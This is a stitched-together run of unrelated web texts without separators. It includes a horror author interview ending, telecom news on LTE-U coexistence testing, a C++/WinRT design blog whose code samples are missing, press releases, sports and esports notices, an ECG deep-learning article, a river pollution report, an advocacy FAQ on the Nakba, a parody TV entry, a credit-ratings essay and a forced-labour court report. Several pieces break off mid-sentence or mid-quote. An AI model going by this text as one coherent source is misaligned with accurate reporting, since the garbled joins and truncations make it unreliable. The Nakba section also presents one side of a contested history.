Other than the new collection, I have stories lined up for the next two Black Wings volumes, and Searchers After Horror all edited by S. T. Joshi; and an upcoming issue of Postscripts magazine. Additionally, I’ll be sharing space with some luminaries for essays and tales in Aickman: A Centenary Edited by Johnny Mains.
Any other projects on the horizon are far too nebulous at the moment to mention.
Anything you’d like to say in closing?
I just wanted to reiterate that these are truly exciting times to be a reader. In the past year or so alone we have seen a steady release of what I consider landmark books in the genre, and as time progresses I think the number of books of this calibre will grow. Perhaps this generation is different from that during the “boom” because the idea of writing in the genre has been to some degree legitimized, yet the glossy-eyed belief that there is money to be made doing so is gone. What we have instead is a group of writers wanting simply to do the best, most interesting work they can. Should this continue, I hestitate to imagine where the genre might end up. For these reasons and more, I’m truly optimistic and excited about the future of weird horror.
AdvertisementsAfter months of debate and more than a little controversy, the Wi-Fi Alliance (WFA) is making its Wi-Fi/LTE-U coexistence test plan available for industry stakeholders as they aim to introduce LTE in unlicensed spectrum.
The draft plan came under fire by the likes of Qualcomm and Verizon, which said it was biased and unfair against LTE, but the WFA insists the plan marks the successful culmination of several months of collaboration involving dozens of companies, from both the Wi-Fi and LTE-U communities, including Qualcomm.
“The test plan will help ensure LTE-U devices can demonstrate they share unlicensed spectrum fairly and will serve as a valuable tool for vendors and service providers seeking to improve how their deployments coexist with Wi-Fi networks,” the WFA said in a press release. “The Coexistence Test Plan is the only available mechanism that includes a comprehensive set of test scenarios agreed upon by industry as adequate to determine proper sharing, and Wi-Fi Alliance encourages all LTE-U vendors and operators to use the test plan to ensure their LTE-U devices and network deployments coexist fairly with Wi-Fi.”
Mobile World Congress 2019 Attend the 2-Day Executive 5G Panel Series FierceWireless is returning to Barcelona, Spain, during Mobile World Congress 2019 with a two-day Executive 5G Panel Series at the Fira Congress Hotel, conveniently located across the street from the MWC Convention Center. The panel events will take place on Feb. 25-26 and will cover 5G and The Fixed Wireless Access Opportunity, Taking 5G Indoors, and Making 5G Ubiquitous. Attendees will have the opportunity to network and hear from 5G leaders including Verizon, Vodafone, Orange, Sprint, NTT Docomo, Boingo Wireless, Qualcomm, and more over the course of two days.
Secure your spot at the event today! Now is your chance to join fellow industry professionals for networking and education. Registration information and the schedule can be found on the website here. Register today
“Delivering a cross-industry coexistence testing solution was an unprecedented and difficult task, and the outcome will help ensure the billions of people who rely on Wi-Fi every day will continue to benefit from the same great user experience they have enjoyed for more than 15 years,” Edgar Figueroa, president and CEO of the Wi-Fi Alliance, said in the release. “Wi-Fi connectivity underpins our daily lives, and Wi-Fi Alliance has an obligation to represent the needs of Wi-Fi users worldwide.”
The Wi-Fi Alliance said it is not seeking any regulatory mandates for coexistence. In developing the test plan, LTE-U vendors agreed to use the full Coexistence Test Plan to demonstrate that LTE-U products share spectrum fairly. The alliance expects that LTE-U vendors will test every LTE-U device against the entire Coexistence Test Plan. To that end, Wi-Fi Alliance is qualifying an independent test laboratory so coexistence testing can begin immediately.
The delivery of the test plan comes after some members of the LTE community publicly expressed doubt that the plan would actually be ready in September, citing earlier deadline misses. Supporters of the alliance pointed out, however, that the only real missed date was moving completion of the plan from August to September.
Related articles:
Boingo, Microsoft, Broadcom blast Ericsson’s LTE-U claims
Wi-Fi Alliance assures coexistence test plan on track for Sept. 21 delivery
Wi-Fi Alliance: August target for coexistence test plan with LTE-U could slip into SeptemberGiven some Windows Runtime type like Windows.UI.Core’s CoreWindow, you have the option to call its methods in the most natural way thanks to Modern C++ for the Windows Runtime:
The Activate method is a modern C++ projection of the underlying ABI call that the operating system expects, but because Modern is a library-based language projection you can easily call the underlying ABI directly simply by using the -> operator to reach down to the underlying interface pointer. What might be a little surprising is that the following won’t compile:
That’s because there is no such method on the ABI interface. The method is actually called abi_Activate so you need to write the statement as follows:
Now why is that? That’s certainly not how the Windows SDK defines the ICoreWindow ABI.
The Modern compiler generates its own ABI so that’s not a problem, but why does it do that? Well there’s the actual reason and then there’s another good reason that Martyn Lovell came up with during a recent conversation while I was trying to explain my reason. I’ll start with his. 🙂
Developers approaching the modern C++ language projection without a good understanding of modern C++ may not realize why object->Method is any different to object.Method. Indeed, given all the prior art thanks to C++/CX they could be forgiven for thinking that object->Method is the preferred approach. So had window->Activate compiled, they may not immediately realize the mistake (and the lack of error handling). On the other hand, forcing the developer to choose between window.Activate and window->abi_Activate makes the choice far more obvious. We might say that this is the design of least surprise.
OK, so that’s a good reason and I hadn’t thought of that. Now here’s the real reason. It is very difficult to project the Windows Runtime efficiently into standard C++ in a compile-time manner. Everything about the Modern language projection depends on compile-time type information to produce the fastest possible implementation that adds no run-time overhead. Now a language projection must deal with two rather disparate sets of abstractions. There are those involving binary COM interfaces that must be projected into C++, such as the ICoreWindow interface that is projected as the CoreWindow class. Then there are those involving C++ constructs like classes or lambdas that must be transported back through the runtime as COM interfaces. It is this latter camp where the trouble arises.
When implementing ABI interfaces in modern C++ it’s rather important that they be implemented to satisfy the vtable while also being projected into modern C++ without any additional overhead. Consider the IFrameworkViewSource interface as defined by the Windows SDK. I might need to implement both the virtual functions to satisfy the ABI as well as the modern implementation in the same class. This works reasonably well and might look something like this:
Incidentally, Implements is a variadic class template that implements both IUnknown and IInspectable and is included in the Modern library. Anyway, the compiler is happy and the implementation is clean and efficient. I then move on to the IFrameworkView interface and try to do the same thing and all of a sudden I have a problem:
The FrameworkView class suddenly has two methods with the same name lacking any parameters and thus the ABI’s virtual function and the modern projection differ only by return type and other factors that don’t affect overload resolution. This won’t compile. I would now have to tear apart the implementation to separate the vtable methods from the modern implementation and this adds additional complexity and run-time cost.
Instead, the Modern compiler produces an ABI for the Windows API that avoids the problem. It goes further and produces class templates employing the curiously recurring template pattern (CRTP) to implement the ABI while leaving a modern implementation up to the developer:
The app developer then doesn’t have to think about virtual functions and ABIs and can simply write a Run method in modern C++:
This same technique is used to power Windows Runtime components. The Modern compiler produces a modern projection of a component’s runtime classes that a developer would work on, but it also produces base class templates that implement all of the ABI virtual functions while delegating to a modern implementation.
Incidentally, the Modern compiler produced its own ABI long before I solved this problem with the abi_ preamble. It did so because the ABI provided by the Windows SDK is unnecessarily large due to the way the MIDL compiler produces definitions for both C and C++. The Modern ABI is much smaller and thus precompiles a whole lot quicker.
Now here’s another design question for you to ponder: why do the Modern library’s helper functions, such as call and detach above, start with a lower case letter when the convention for everything else mirrors that of the Windows Runtime? Shouldn’t they also start with an uppercase letter? Until next time, check out Modern C++ for the Windows Runtime!A text notification and email solution to improve and address communications surrounding vehicle relocation between fleet manager/administrative staff and leasing company communicating pick-up and delivery points.
The new product allows Auto Driveaway customers (and the customers of its leasing companies) to be alerted on all notes and status changes on a vehicle. These notifications can be directed to multiple recipients with e-mail notifications containing links to the referenced move and to registrations. Furthermore, dates will be added to pick-up and enroute notifications.
This exclusive offering, developed by Wessan Interactive (www.wessan.com), provides a communication tool that allows for a dynamic flow of information so employees are not waiting at their home or office for a vehicle to be picked-up or delivered, explains Auto Driveaway National Director of Sales and Marketing, Scott Okun. "This information can make a difference in a company employee being productive versus down time waiting and waiting for a driver to contact them."
Additionally, messages can be sent to user's Outlook e-mail or any other e-mail address that a customer requests. The web-based software allows for the ability to build customized customer profiles to accommodate a list of standard services that occur on every move and auto-fill those service requests into the ordering process.
The ability to import a company employee address book is also available which also simplifies uploading company directories. "One of the benefits of these notifications is that we provide a tool for fleet managers and administrators that enables them to streamline communication with their internal customers thus making everyone more productive," according to Auto Driveaway President and CEO, Rodney Ruth. "We have listened to our customers and built a tool that they asked for."
About Auto Driveaway
Auto Driveaway is a 57 year old company with 40 locally owned and operated offices. Auto Driveaway provides relocation services for car, truck, fleet, personal, and government customers. Auto Driveaway offices have storage and DOT/CDL drivers available. Put Auto Driveaway To Work For You. For Additional Information on Auto Driveaway, visit www.autodriveaway.com.
About Wessan Interactive
Wessan Interactive (www.wessan.com) is an Omaha-based company and a leading provider of Text Messaging, Interactive Voice Response (IVR) and Mobile Web. For over 20 years, Wessan has been developing interactive solutions for a wide variety of industries. They have created thousands of different IVR applications, developed hundreds of unique websites, transcribed millions of hours of data for various companies, stayed ahead of emerging technology and processed tens of millions of calls, text messages and web hits. For more information on Wessan Interactive, call 800-468-7800 or visit wessan.com.MONTHS after humiliating himself on a flight, rugby league great Andrew Johns has been lauded for a selfless act while en route to Brisbane.
Queensland mother Lisa Irving has taken to social media to thank Johns for giving up his business-class seat for her and |
court case in which Warren offered her services pro bono for an indigent client, or even for a middle class client who has been hammered.Share this
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Email You are free to share this article under the Attribution 4.0 International license. University Stanford University
A new algorithm can sift through hours of heart rhythm data generated by some wearable monitors to find sometimes life-threatening irregular heartbeats, called arrhythmias.
The algorithm, which researchers explain in a paper on arXiv, performs better than trained cardiologists, and has the added benefit of being able to sort through data from remote locations where people don’t have routine access to cardiologists.
The researchers say their algorithm could bring quick, accurate diagnoses of heart arrhythmias to people without ready access to cardiologists.
“One of the big deals about this work, in my opinion, is not just that we do abnormality detection but that we do it with high accuracy across a large number of different types of abnormalities,” says Awni Hannun, a graduate student at Stanford University and co-lead author of the paper. “This is definitely something that you won’t find to this level of accuracy anywhere else.”
14 types of arrythmia
People suspected to have an arrhythmia will often get an electrocardiogram (ECG) in a doctor’s office. However, if an in-office ECG doesn’t reveal the problem, the doctor may prescribe the patient a wearable ECG that monitors the heart continuously for two weeks. The resulting hundreds of hours of data would then need to be inspected second by second for any indications of problematic arrhythmias, some of which are extremely difficult to differentiate from harmless heartbeat irregularities.
Researchers in the Stanford Machine Learning Group, led by Andrew Ng, an adjunct professor of computer science, saw this as a data problem. They set out to develop a deep learning algorithm to detect 14 types of arrhythmia from ECG signals. They collaborated with the heartbeat monitor company iRhythm to collect a massive dataset that they used to train a deep neural network model. In seven months, it was able to diagnose these arrhythmias about as accurately as cardiologists and outperform them in most cases.
The researchers believe that this algorithm could someday help make cardiologist-level arrhythmia diagnosis and treatment more accessible to people who are unable to see a cardiologist in person. Ng thinks this is just one of many opportunities for deep learning to improve patients’ quality of care and help doctors save time.
Experts vs. the algorithm
The group trained their algorithm on data collected from iRhythm’s wearable ECG monitor. Patients wear a small chest patch for two weeks and carry out their normal day-to-day activities while the device records each heartbeat for analysis. The group took approximately 30,000, 30-second clips from various patients that represented a variety of arrhythmias.
“The differences in the heartbeat signal can be very subtle but have massive impact in how you choose to tackle these detections,” says Pranav Rajpurkar, a graduate student and co-lead author of the paper. “For example, two forms of the arrhythmia known as second-degree atrioventricular block look very similar, but one requires no treatment while the other requires immediate attention.”
To test accuracy of the algorithm, the researchers gave a group of three expert cardiologists 300 undiagnosed clips and asked them to reach a consensus about any arrhythmias present in the recordings. Working with these annotated clips, the algorithm could then predict how those cardiologists would label every second of other ECGs with which it was presented, in essence, giving a diagnosis.
The group had six different cardiologists, working individually, diagnose the same 300-clip set. The researchers then compared which more closely matched the consensus opinion—the algorithm or the cardiologists working independently. They found that the algorithm is competitive with the cardiologists, and able to outperform cardiologists on most arrhythmias.
“There was always an element of suspense when we were running the model and waiting for the result to see if it was going to do better than the experts,” says Rajpurkar. “And we had these exciting moments over and over again as we pushed the model closer and closer to expert performance and then finally went beyond it.”
In addition to cardiologist-level accuracy, the algorithm has the advantage that it does not get fatigued and can make arrhythmia detections instantaneously and continuously.
Long term, the group hopes this algorithm could be a step toward expert-level arrhythmia diagnosis for people who don’t have access to a cardiologist, as in many parts of the developing world and in other rural areas. More immediately, the algorithm could be part of a wearable device that at-risk people keep on at all times that would alert emergency services to potentially deadly heartbeat irregularities as they’re happening.
Source: Stanford UniversityThe Selwyn River near the Selwyn Huts used to be a popular swimming hole, but is now polluted and unsafe.
A tiny, century-old community built around a river can no longer swim in it because it has become too polluted.
A rope swing dangling uselessly by Canterbury's Selwyn River is a reminder of a better time in the tiny community of Selwyn Huts – when families spent long summers in the river, before it became too polluted for swimming.
The lower stretches of the river have become toxic and shallow. The water is so green it glows in the sun.
STEVE CURTIS/SUPPLIED The water is permanently discoloured.
For about a century, people swam and boated in the river, southwest of Christchurch, but doing so now could make you sick.
"It's disgusting. It really is," said Steve Curtis, who lives opposite the river.
"We used to have boat races every year. Now that's out of the question."
SUPPLIED A photo taken in 1985 shows children playing in clear water.
READ MORE:
* Two meetings, two visions for Canterbury's freshwater
* Sixty per cent dip in Selwyn River flow affecting trout population
* Pointed protest over Selwyn River water quality
* More rivers in Canterbury unsafe to swim in
It only took a couple of decades for the popular swimming spot at Selwyn Huts to collapse.
Its impact on the tiny community – comprising about 100 ramshackle huts near the riverbank, some nearly a century old – has been significant.
SUPPLIED Another photo from 1985 shows clear water.
Health warning signs are older than some of the local children. Traditions going back decades have been abandoned.
Their once swimmable river is now only wadeable; in line with Government standards, but certainly not their own.
Last Christmas, for the first time, the river was empty. Families stayed out of the river and played games on a nearby tennis court instead.
CHARLIE MITCHELL/FAIRFAX NZ The river is green and still.
"Over Christmas time it was just still and stagnant," Curtis said.
"My little kids were out swimming and boating and everything in the river. You just wouldn't do it now."
Andre Brocherie remembers jumping into a cold, clear river. He has lived at Selwyn Huts since he was aged 2.
JOSEPH JOHNSON/STUFF An unused rope swing at the Selwyn River. The water is too polluted for swimming.
Now 32, he is disgusted by what the river has become.
"As you can see, no one uses it," he said.
"It's not enjoyable. You don't even want to take a photo of it anymore."
SUPPLIED A solitary trout in the river once famous for its teeming trout population.
A few weeks ago, he took photos of a brown, effluent-like sludge creeping up the river like an oil spill.
"There's a good chance of getting sick. You always have to have a shower straight after.
"It's not like the old rivers, which you could have a bath in."
Late last year, signs protesting the poor health of the river appeared.
They were put up by local artist Mike Glover, who had become increasingly upset with the deteriorating river.
"I thought of my daughter, who had just turned 10, and thinking that this is just not acceptable," he said.
The river was once the "absolute hub" of the community before it withered. His signs were just one attempt to make his frustration clear.
"I kept getting madder and madder, basically."
He painted the word "permanent" over a temporary health warning sign. If nothing else, at least the signage was now accurate, he said.
The Selwyn River was once one of the world's greatest trout fisheries.
In the 1960s, the trout population reached 65,000, enough to stock every river in the South Island.
There are now just several hundred trout in the river. Those remaining are thin and inedible due to the river's health.
The river's problems were the result of "poor incremental decisions" over several decades, North Canterbury Fish & Game environmental adviser Scott Pearson said.
Intensive farming had become too widespread in the area, and too much water was being extracted for irrigation.
"These decisions can appear small on their own, but when you add them all together and do that over several decades, you suddenly have a real mess on your hands," Pearson said.
While groups including Environment Canterbury (ECan) were doing good work to improve the river, fixing the problem would be "like turning the Titanic around."
ECan was not available for comment on Sunday, but recently changed its land and water plan to include a raft of measures to improve the river's health.
They included setting new water allocation limits, preventing new water takes, and restricting the transfer of water use permits.
There were also new rules around stock exclusion.
All of those measures would likely improve the river's water quality, ECan surface water science manager Tim Davie said earlier this year.
He said that intensive land use had affected the river's water quality.The Jets have added CB Dexter McDougle, S Ronald Martin, RB Dominique Williams and RB Raheem Mostert to their practice squad. The first three players spent the preseason with the Jets while Mostert was with the Browns this offseason and preseason. All were waived Sept. 4.
Also, TE Brian Parker, acquired on waivers from Kansas City on Sunday, has been waived/failed physical.
McDougle, a Maryland product who was the Jets' third-round selection (No. 80 overall) in the 2014 draft, appeared in 14 games last season. He saw most of his action on special teams, although he played on defense against Washington, at Oakland and at home vs. Miami. He spent his rookie season on IR with a knee injury.
Martin, acquired on waivers from Seattle last year, spent time on the Green & White’s practice squad in 2015 and also played in eight games, all of his plays coming on special teams. He played in the Jets' last three preseason games this summer, totaling 147 defensive snaps.
Williams was signed to a reserve/future contract by the Jets in January after stretches with the Vikings and Cardinals in 2014 and '15. He saw action in the preseason opener against Jacksonville and had three carries for 17 yards.
Mostert, a top kickoff returner for four seasons at Purdue, entered the NFL with the Eagles as an undrafted free agent after the 2015 draft. He was acquired by three different teams on waivers that season — Miami, Baltimore and Cleveland and was with the Browns this year, rushing seven times for 47 yards, catching one pass for 7 yards, and returning two punts and four kickoffs in the preseason.1. What is the Nakba?
2. Why does the Nakba matter today?
3. Who are the Palestinian refugees?
4. How many Palestinian refugees are there?
5. Where do Palestinians live today?
6. Do Palestinian refugees have a right to return to their homes?
7. What have leading Israeli figures said about the Nakba?
8. Where can I learn more?
WHAT IS THE NAKBA?
Nakba means "Catastrophe" in Arabic. It refers to the destruction of Palestinian society in 1948 when approximately 750,000 Palestinians fled or were forced into exile by Israeli troops. Because the Palestinians were not Jewish, their presence and predominant ownership of the land were obstacles to the creation of a Jewish state. Their exodus, or Nakba, was already nearly half-complete by May 1948, when Israel declared its independence and the Arab states entered the fray.
Many Zionist leaders in Palestine openly favored "transfer" of the indigenous Palestinian population. Zionist forces used clashes that erupted as the British Mandate of Palestine came to an end in 1947-48 to rid as much of the land of its Palestinian inhabitants as possible. By the end of 1948, approximately 750,000 Palestinians - three-quarters of the Palestinian population - fled in panic or were forcibly expelled. It is estimated that more than 50 percent fled under direct military assault. Others fled in panic as news of massacres - more than 100 civilians in the village of Deir Yassin and 200 in Tantura -- spread.
Zionist forces depopulated more than 450 Palestinian towns and villages, most of which were demolished to prevent the return of the refugees. (Figures of the number of towns and villages destroyed and depopulated vary. The Israeli daily Haaretz reports 530 lost villages.) These comprised three-quarters of the Palestinian villages inside the areas held by Israeli forces after the end of the war. The newly established Israeli government confiscated refugees' land and properties and turned them over to Jewish immigrants. Although Jews owned only about seven percent of the land in Palestine and constituted about 33 percent of the population, Israel was established on 78 percent of Palestine.
WHY DOES THE NAKBA MATTER TODAY?
The Nakba is the source of the still-unresolved Palestinian refugee problem. Today, there are more than 4 million registered Palestinian refugees worldwide. The majority of them still live within 60 miles of the borders of Israel and the West Bank and Gaza Strip where their original homes are located. Israel refuses to allow Palestinian refugees to return to their homes and to pay them compensation, as required by UN Resolution 194 of 1948.
Sixty-three years after the Nakba, Palestinians continue to be denied their freedom and independence. In 1948, 78 percent of Palestine became the state of Israel. Today, the 22 percent that remains continues to be confiscated for the expansion of Israeli settlements and construction of the separation wall. This ongoing denial of Palestinian rights combined with U.S. financial and diplomatic support for Israel fuels anti-American sentiment abroad. A 2002 Zogby poll, conducted in eight Arab countries showed that "the negative perception of the United States is based on American policies, not a dislike of the West." The same poll showed that "the Palestinian issue was listed by many Arabs among the political issues that affect them most personally, in some cases topping such issues as health care and the economy." Resolution of the Palestinian issue would improve America's image and create lasting goodwill in the Arab and Muslim worlds.
WHO ARE THE PALESTINIAN REFUGEES?
Palestinian refugees are the individuals who were forced from their homes through deliberate Israeli actions since 1948, and their offspring. There are five primary groups of Palestinian refugees and displaced persons:
Palestinians displaced/expelled from their homes in 1948. This includes Palestinians registered as refugees with the United Nations Relief and Works Agency (UNRWA), created in 1948 to aid Palestinians forced from their homes, and others who either were not eligible for international assistance or chose not to receive it.
Palestinians displaced for the first time in the June 1967 war from their places of origin in the West Bank, East Jerusalem, and the Gaza Strip.
Palestinians who left the Occupied Territories since 1967 and are prevented by Israel from returning due to revocation of residency, denial of family reunification, or deportation. Some are unwilling to return there owing to a well-founded fear of persecution. Israel deported more than 6,000 Palestinians from the Occupied Territories between 1967 and the early 1990s, revoked the residency rights of some 100,000, demolished 20,000 homes and refugee shelters, and confiscated several thousand square kilometers of land. [Refugee Facts and Figures]
Internally displaced Palestinians who left their homes or villages but remained in the area that became the state of Israel in 1948.
Internally displaced Palestinians in the West Bank, East Jerusalem, and the Gaza Strip.
HOW MANY PALESTINIAN REFUGEES ARE THERE?
Reliable figures on the Palestinian refugee and displaced population are hard to find, as there is no centralized agency or institution charged with maintaining this information, and there is no uniform definition of a Palestinian refugee.
The United Nations Relief and Works Agency (UNRWA) administers the only registration system for Palestinian refugees, but it only includes those displaced in 1948 (and their descendants) who are in need of assistance and located in UNRWA areas of operation - West Bank, Gaza Strip, Jordan, Lebanon, and Syria. According to UNRWA, in 2008 there were 4,618,141 registered refugees.
BADIL, a Palestinian non-governmental organization, estimated that there were more than 7.1 million Palestinian refugees and displaced persons at the end of 2008. [Survey of Palestinian Refugees and Internally Displaced Persons 2008-2009]
This includes Palestinian refugees displaced in 1948 and registered for assistance with the UNRWA (4.7 million); Palestinian refugees displaced in 1948 but not registered for assistance (1 million); Palestinian refugees displaced for the first time in 1967 (955,247); 1948 internally displaced Palestinians (335,000); and, 1967 internally displaced Palestinians (129,000).
WHERE DO PALESTINIANS LIVE TODAY?
In 2008, the Palestinian population worldwide was estimated by BADIL to be 10.6 million. Locations with significant Palestinian populations include:
4,360,000 in the West Bank and Gaza Strip
1,587,000 in Israel
2,839,639 in Jordan
422,699 in Syria
421,292 in Lebanon
314,226 in Saudi Arabia
238,721 in the United States
303,987 in other countries
DO PALESTINIAN REFUGEES HAVE THE RIGHT TO RETURN TO THEIR HOMES?
Yes, they have the right, although Israel has so far refused to recognize this right. All refugees have an internationally recognized right to return to areas from which they have fled or were forced, to receive compensation for damages, and to either regain their properties or receive compensation and support for voluntary resettlement. This right derives from a number of legal sources, including customary international law, international humanitarian law (governing rights of civilians during war), and human rights law. The United States government has forcefully supported this right in recent years for refugees from Bosnia, Kosovo, East Timor and elsewhere.
In the specific case of the Palestinians, this right was affirmed by the United Nations Resolution 194 of 1948, and has been reaffirmed repeatedly by that same body, and has also been recognized by independent organizations such as Amnesty International and Human Rights Watch.
The U.S. government supported Resolution 194, and voted repeatedly to affirm it until 1993. At that time, the Clinton administration began to refer to Palestinian refugee rights as matters to be negotiated between the parties to the conflict.
Israel refuses to allow the refugees to return to villages, towns and cities inside Israel due to their ethnic, national and religious origin. Israel's self-definition as a Jewish state emphasizes the need for a permanent Jewish majority, Jewish control of key resources like land, and the link between Israel and the Jewish diaspora. Jewish citizens, residents and Jews from anywhere in the world are therefore granted special preferences regarding citizenship and land ownership.
WHAT HAVE LEADING ISRAELI FIGURES SAID ABOUT THE NAKBA?
Moshe Sharett, Israel's second Prime Minister (1953-1955):
"We have forgotten that we have not come to an empty land to inherit it, but we have come to conquer a country from people inhabiting it" (from Benny Morris, Righteous Victims, p. 91) On partition: "The [Palestinian] Arab reaction would be negative because they would lose everything and gain almost nothing...They would lose the richest part of Palestine; they would lose major Arab assets, the orange plantations, the commercial and industrial centers and the most important sources of revenue for their government which would become impoverished; they would lose most of the coastal area, which would also be a loss to the hinterland Arab states...It would mean that they would be driven back to the desert." (from Nur Masalha, Expulsion of the Palestinians, p.59) "With regard to the refugees, we are determined to be adamant while the war lasts. Once the return tide starts, it will be impossible to stem it, and it will prove our undoing. As for the future, we are equally determined to explore all possibilities of getting rid, once and for all, of the huge [Palestinian] Arab minority [referring to the Palestinian Israeli citizens of Israel] which originally threatened us. What can be achieved in this period of storm and stress [referring to the 1948 war] will be quite unattainable once conditions get stabilized. (from Simha Flapan, The Birth of Israel: Myths and Realities, p. 105)
Yosef Weitz, director, Jewish National Fund Land Settlement Committee (1932-1948):
"...the transfer of [Palestinian] Arab population from the area of the Jewish state does not serve only one aim--to diminish the Arab population. It also serves a second, no less important, aim which is to advocate land presently held and cultivated by the [Palestinian] Arabs and thus to release it for Jewish inhabitants." (from Expulsion Of The Palestinians, p. 94-95) "It must be clear that there is no room in the country for both peoples...If the Arabs leave it, the country will become wide and spacious for us...The only solution is a Land of Israel...without Arabs...There is no way but to transfer the Arabs from here to the neighboring countries, to transfer all of them, save perhaps for [the Palestinian Arabs of] Bethlehem, Nazareth, and the old Jerusalem. Not one village must be left, not one tribe." (from Benny Morris, The Birth of the Palestinian Refugee Problem, p. 27) "Once again I come face to face with the land settlement difficulties that emanate from the existence of two people in close proximity...only population transfer and evacuating this country so it would become exclusively for us is the solution. " (from Expulsion Of The Palestinians, p. 132)
Moshe Dayan, chief of staff, Israel Defense Forces and Minister of Defense during the 1967 war:
"Jewish villages were built in the place of Arab villages. You do not even know the names of these Arab villages, and I do not blame you because geography books no longer exist, not only do the books not exist, the Arab villages are not there either...There is not one single place built in this country that did not have a former Arab Population." (from Ha'aretz, April 4, 1969) "We shoot at those from among the 200,000 hungry Arabs who cross the line [to graze their flocks]...Arabs cross to collect the grain that they left in the abandoned villages and we set mines for them and they go back without an arm or a leg...[It may be that this] cannot pass review, but I know no other method of guarding the borders." (from Righteous Victims, p. 275)
At the funeral of an Israeli farmer killed by a Palestinian in April 1956:
"Let us not today fling accusation at the murderers. What cause have we to complain about their fierce hatred to us? For eight years now, they sit in their refugee camps in Gaza, and before their eyes we turn into our homestead the land and villages in which they and their forefathers have lived...We should demand his blood not from the Arabs of Gaza but from ourselves...Let us make our reckoning today. We are a generation of settlers, and without the steel helmet and gun barrel, we shall not be able to plant a tree or build a house." (from Avi Shlaim, The Iron Wall, p. 101)
Yigal Allon, commander, Palmach (elite force of Zionist militia Haganah) (1945-1948), Lieutenant General, Israeli army (1948-1949):
"The confidence of thousands of Arabs of the Hula [Valley] was shaken...We had only five days left...until 15 May [1948]. We regarded it as imperative to cleanse the interior of the Galilee and create Jewish territorial continuity in the whole of the Upper Galilee...I gathered the Jewish mukhtars [Kibbutz chiefs], who had ties with the different Arab villages, and I asked them to whisper in the ears of several Arabs that a giant Jewish reinforcement had reached the Galilee and were about to clean out the villages of Hula, [and] to advise them as friends, to flee while they could. And rumour spread throughout Hula that the time had come to flee. The flight encompassed tens of thousands. The stratagem fully achieved its objective." (from The Birth of the Palestinian Refugee Problem, p. 122)
See here for more quotes
WHERE CAN I LEARN MORE?
Photo: Dheisha Refugee Camp (Christopher Hazou/IMEU)Open Qualifier Information
This weekend will begin the Open/Closed Qualifiers for the remaining team slots for DreamLeague Season 7. To sign up for the qualifiers click here to head on over to our tournament details on FACEIT.
SA teams that wish to participate in the NA Qualifier must have all players changing their region on their account from SA to NA. A tutorial on how to do so is to be found here.
Europe Schedule
Saturday 1st April – 15:00 CEST
Day 1 – RO256 ; RO128 ; RO64 ; RO32 ; RO16 – All matches B01 – Max 512 Teams.
Sunday 2nd April – 15:00 CEST
Day 2 – RO8 ; RO4 – All matches BO3 – 2 Teams Advance into the Closed Qualifiers.
North Americas Schedule
Saturday 1st April – 15:00 EST
Day 1 – RO256 ; RO128 ; RO64 ; RO32 ; RO16 – All matches B01 – Max 512 Teams.
Sunday 2nd April – 15:00 EST
Day 2 – RO8 ; RO4 – All matches BO3 – 1 Teams Advances into the Closed Qualifiers.PREMISE: Part Cop. Part Cop. All Cop.
CHARACTERS: Alex Steadman was just an ordinary beat cop, until a horrifying clerical accident led to him being entered into the police department’s employee database twice. Now he has two badges, two guns, gets twice as many assignments with twice as much paperwork, and, when he retires, he’ll get double the pension. He’s no longer Alex Steadman, and he’s no longer just a cop: He’s CopCop.
Sandra Corrigan is CopCop’s partner and best friend, who, along with Felicia Rakowski, CopCop’s other partner and best friend, tries to keep CopCop from losing all traces of his humanity as he becomes more and more cop with each passing day.
CopCop’s archnemesis is RoboBot, a machine that’s half robot and half a different robot. Both halves of RoboBot are programmed for only one thing: crime.
NOTABLE EPISODE: CopCop pulls a double shift and makes quadruple overtime while investigating the case of a serial jaywalker (“Look Four Ways” – S09.E15).
CATCHPHRASE: “You’re under double arrest.”
TRIVIA/MISCELLANY: Roland Huxtable, the Swiss artist and sci-fi visionary, created concept art for the series. His early sketches for RoboBot were based on a dream he had about being menaced by sinister plumbing equipment, and his process for designing CopCop involved putting a police hat on top of another police hat.
See also: #018-01 RoboBot Audio TestsFor cash-strapped countries these days, credit is king. And sovereign credit ratings, or independent assessments of a state’s risk of default, are often helpful in accessing it.
The potential advantages of a strong rating are widely known: the ability to borrow more money, on better terms. And the downsides of a poor one—less credit, higher costs—are equally so. Yet the path to a top rating is less clear. Economists and political scientists have spent decades trying to understand how governments can secure better sovereign credit ratings, principally by focusing on a handful of economic indicators, such as a country’s GDP per capita, real GDP growth, default history, and the like. Such indicators, however, are incomplete guides on their own. The “big three” credit rating agencies—Fitch Ratings, Standard & Poor’s, and Moody’s Investors Service—rely on more than quantitative factors, which is why their conclusions about the same numbers sometimes differ.
Indeed, that fact, combined with some recent damaging downgrades, has led some experts, such as Daniel Vernazza and Jonathan Portes, to conclude that the rating process is too subjective or ill thought out and that political leaders should dismiss credit rating agencies as a result. But adopting such an approach risks missing a valuable opportunity. Subjectivity, after all, is a two-way street, since it can work in a country’s favor as well as to its disadvantage. Governments that understand how ratings are made can take steps to hold or improve their position; those that don’t may end up more vulnerable. And with new rating agencies now emerging alongside the old guard, knowing the rules of the game matters more than ever.
HOT OR NOT
Rating agency critics often point to Standard & Poor’s decision to downgrade the United States’ credit rating from AAA (its highest) to AA+ (its second highest) in 2011. “It’s hard to think of anyone less qualified to pass judgment on America than the rating agencies,” the economist Paul KrugmanThe U.S. Attorney does not release booking photos. The photo of Esthela Clark is from her Facebook profile.
JACKSONVILLE, Fla. - A 47-year-old Jacksonville woman pleaded guilty Monday to federal charges of forced labor. She admitted to paying about $3,000 to have a Mexican woman smuggled across the border to be a pregnancy surrogate, according to acting United States Attorney W. Stephen Muldrow.
Esthela Clark faces a maximum penalty of 20 years in federal prison. A sentencing date has not yet been set.
Clark was indicted in 2015 on charges of bringing in and harboring aliens, sex trafficking of children, forced labor and furthering slave traffic. Her lawyer requested a competency hearing and she was ruled competent for prosecution.
According to the plea agreement, Clark paid so-called coyotes to smuggle a woman into the United States. Prosecutors said Clark assured her victim that the surrogacy would be medically supervised, but instead forced the woman to engage in domestic labor through physical and psychological abuse.
Court documents show Clark attempted to impregnate the victim using syringes containing Clark’s boyfriend’s sperm that she had retrieved from used condoms.
"Once those efforts did not work, Clark forced Y.L. to have sex with two complete strangers through threats of force and coercion," according to court documents.
Prosecutors said Clark isolated the victim from her family and limited her to a diet consisting exclusively of beans, resulting in a 65-pound weight loss. She also attempted to collect from the victim’s family the cost she had paid to the smuggler, plus interest.
Prosecutors said the abuse lasted two years until someone the victim knew through Celebration Church saw her "washing cars in very cold weather with insufficient clothing and found (that) behavior to be strange." That person also saw signs of physical abuse and called law enforcement.
Clark was indicted in 2015 on charges of bringing in and harboring aliens, sex trafficking of children, forced labor and furthering slave traffic. Her lawyer requested a competency hearing and she was ruled competent for prosecution.
